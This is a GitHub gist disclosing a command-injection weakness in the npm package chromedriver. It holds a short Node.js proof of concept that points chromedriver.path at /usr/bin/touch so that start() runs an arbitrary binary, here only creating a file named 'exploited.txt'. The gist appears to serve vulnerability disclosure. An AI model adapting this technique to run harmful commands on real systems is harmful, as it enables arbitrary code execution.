Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 26, 2023 17:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mcoimbra/47b1da554a80795c45126d51e41b2b18 to your computer and use it in GitHub Desktop.
Save mcoimbra/47b1da554a80795c45126d51e41b2b18 to your computer and use it in GitHub Desktop.
Package chromedriver: possible to do command injection by manipulating the arguments.
'use strict'
const chromedriver = require('chromedriver');
const args = ['exploited.txt'];
const returnPromise = false;
chromedriver.path = '/usr/bin/touch';
// This creates a local 'exploited.txt' file.
chromedriver.start(args, returnPromise);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment